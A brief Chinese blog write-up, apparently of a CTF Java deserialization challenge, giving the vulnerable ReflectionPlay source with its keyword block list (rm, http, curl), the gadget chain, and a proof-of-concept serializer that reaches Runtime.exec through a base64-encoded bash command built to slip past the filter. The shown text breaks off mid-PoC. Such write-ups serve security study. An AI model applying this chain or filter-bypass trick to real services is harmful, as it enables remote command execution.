ReflectionPlay

睡前看到了一个反序列化的题目,记录一下。
源blog

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.regex.Matcher;
import java.util.regex.Pattern;


public class ReflectionPlay implements Serializable {
private static final long serialVersionUID = 814434800882325819L;

public static String replaceAll(String input, String regex, String replacement) {
try {
Pattern p = Pattern.compile(regex, 2);
Matcher m = p.matcher(input);
return m.replaceAll(replacement);
} catch (Exception var5) {
var5.printStackTrace();
return input;
}
}

private void gl(ReflectionPlay.ReflectionObject obj) {
if (obj != null && "exec".equals(obj.methodName) && obj.args.length != 0) {
for (int i = 0; i < obj.args.length; ++i) {
Object ag = obj.args[i];
if (ag != null && ag instanceof String) {
String fh = replaceAll((String) ag, "rm", "XX");
fh = replaceAll(fh, "http", "XX");
fh = replaceAll(fh, "\\\\", "XX");
fh = replaceAll(fh, "//", "XX");
fh = replaceAll(fh, "\\.", "XX");
fh = replaceAll(fh, ">", "XX");
fh = replaceAll(fh, "curl", "XX");
obj.args[i] = fh;
}
}
}
}

public class AttackObject implements Serializable {
private static final long serialVersionUID = 4082925022846947297L;
private ReflectionPlay.ReflectionChainsArry reflectionChainsArry;

public AttackObject(ReflectionPlay.ReflectionChainsArry reflectionChainsArry) {
this.reflectionChainsArry = reflectionChainsArry;
}

private void readObject(ObjectInputStream stream) throws Exception {
this.reflectionChainsArry = (ReflectionPlay.ReflectionChainsArry) stream.readFields().get("reflectionChainsArry", (Object) null);
this.reflectionChainsArry.execute();
}
}

public class ReflectionChainsArry implements Serializable {
private static final long serialVersionUID = 991019635353232843L;
private ReflectionPlay.ReflectionChains[] reflectionChains;

public ReflectionChainsArry(ReflectionPlay.ReflectionChains[] reflectionChains) {
this.reflectionChains = reflectionChains;
}

public Object execute() throws Exception {
Object concurrentObject = null;
ReflectionPlay.ReflectionChains[] var2 = this.reflectionChains;
int var3 = var2.length;
for (int var4 = 0; var4 < var3; ++var4) {
ReflectionPlay.ReflectionChains reflectionChainObject = var2[var4];
concurrentObject = reflectionChainObject.transform(concurrentObject);
}
return concurrentObject;
}
}

public class ReflectionChains implements Serializable {
private static final long serialVersionUID = 7085587767543412902L;
private Object firstObject;
private ReflectionPlay.ReflectionObject[] reflectionObjects;

public ReflectionChains(Object firstObject, ReflectionPlay.ReflectionObject[] reflectionObjects) {
this.firstObject = firstObject;
this.reflectionObjects = reflectionObjects;
}

public Object transform(Object InObj) throws Exception {
Object concurrentObject = this.firstObject;
for (int i = 0; i < this.reflectionObjects.length; ++i) {
if (this.reflectionObjects[i].dynarg == 1 && InObj != null) {
this.reflectionObjects[i].addArg(InObj);
}
ReflectionPlay.this.gl(this.reflectionObjects[i]);
concurrentObject = this.reflectionObjects[i].transform(concurrentObject);
}
return concurrentObject;
}
}

public class ReflectionObject implements Serializable {
private static final long serialVersionUID = -3677766270625763305L;
public int dynarg = 0;
private String methodName;
private Class[] paramTypes;
private Object[] args;
private Object arg;

public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
this.dynarg = dynarg;
}

public void addArg(Object add) {
if (this.methodName.equals("newInstance")) {
this.args = new Object[]{new Object[]{add}};
} else {
if (this.args.length > 0) {
this.args[0] = add;
} else {
this.args = new Object[]{add};
}
}
}

public Object transform(Object input) throws Exception {
try {
Class inputClass = input.getClass();
Method TargetMethod = inputClass.getMethod(this.methodName, this.paramTypes);
TargetMethod.setAccessible(true);
return TargetMethod.invoke(input, this.args);
} catch (Exception var4) {
if (this.args != null && this.args.length != 0) {
Object obj = this.args[0];
if (obj instanceof Object[]) {
throw new RuntimeException(((Object[]) ((Object[]) obj))[0].toString());
} else {
throw new RuntimeException(obj.toString());
}
} else {
throw var4;
}
}
}
}
}

分析

文件很简洁,没有多余的代码,真是的环境应该不会这样。
写了一下gadget:

1
2
3
4
AttackObject#readObject();
ReflectionChainsArry#execute();
ReflectionChains#transform();
ReflectionObject#transform();

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.*;

public class POC_ReflectionPlay {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ReflectionPlay.ReflectionObject reflectionObject1 = new ReflectionPlay().new ReflectionObject(0,"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});
ReflectionPlay.ReflectionObject reflectionObject2 = new ReflectionPlay().new ReflectionObject(0,"invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null});
ReflectionPlay.ReflectionObject reflectionObject3 = new ReflectionPlay().new ReflectionObject(0,"exec",new Class[]{String.class},new Object[]{"bash -c {echo,L1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAvQ29udGVudHMvTWFjT1MvQ2FsY3VsYXRvcg==}|{base64,-d}|{bash,-i}"});
//将弹出计算器的命令进行编码,绕过gl函数

ReflectionPlay.ReflectionChains reflectionChains = new ReflectionPlay().new ReflectionChains(Runtime.class,new ReflectionPlay.ReflectionObject[]{reflectionObject1,reflectionObject2,reflectionObject3});
ReflectionPlay.ReflectionChains[] reflectionChains1 = new ReflectionPlay.ReflectionChains[]{
reflectionChains
};//poc只用第一条链验证,exp的话需要多条链进行复杂的构造,或者尝试反弹shell
ReflectionPlay.ReflectionChainsArry reflectionChainsArry = new ReflectionPlay().new ReflectionChainsArry(reflectionChains1);
ReflectionPlay.AttackObject attackObject = new ReflectionPlay().new AttackObject(reflectionChainsArry);

ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("POC_ReflectionPlay.ser"));
os.writeObject(attackObject);
os.close();
ObjectInputStream is = new ObjectInputStream(new FileInputStream("POC_ReflectionPlay.ser"));
is.readObject();

1